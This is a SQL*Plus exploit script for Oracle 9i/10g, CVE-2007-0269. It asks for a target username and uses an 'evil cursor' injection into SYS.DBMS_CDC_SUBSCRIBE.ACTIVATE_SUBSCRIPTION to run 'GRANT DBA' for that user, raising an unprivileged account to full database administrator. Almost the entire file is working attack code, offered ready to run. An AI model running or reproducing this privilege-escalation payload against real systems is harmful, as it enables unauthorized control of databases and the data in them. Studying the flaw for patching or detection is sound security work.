-- 
-- dbms_cdc_subscribeV2.sql
--
--
-- Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit (9i/10g) V2
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-- 
--   REF:    http://www.securityfocus.com/archive/1/396133
--
--   AUTHOR: Andrea "bunker" Purificato
--           http://rawlab.mindcreations.com
--
--   DATE:   Copyright 2007 - Fri Feb 23 12:44:18 CET 2007
-- 
--
set serveroutput on;
prompt [+] dbms_cdc_subscribeV2.sql exploit (CVE-2007-0269)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
 MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);  
  SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||dbms_sql.execute('||MYC||')||''');
END;
/

prompt [-] YOU GOT THE POWAH!!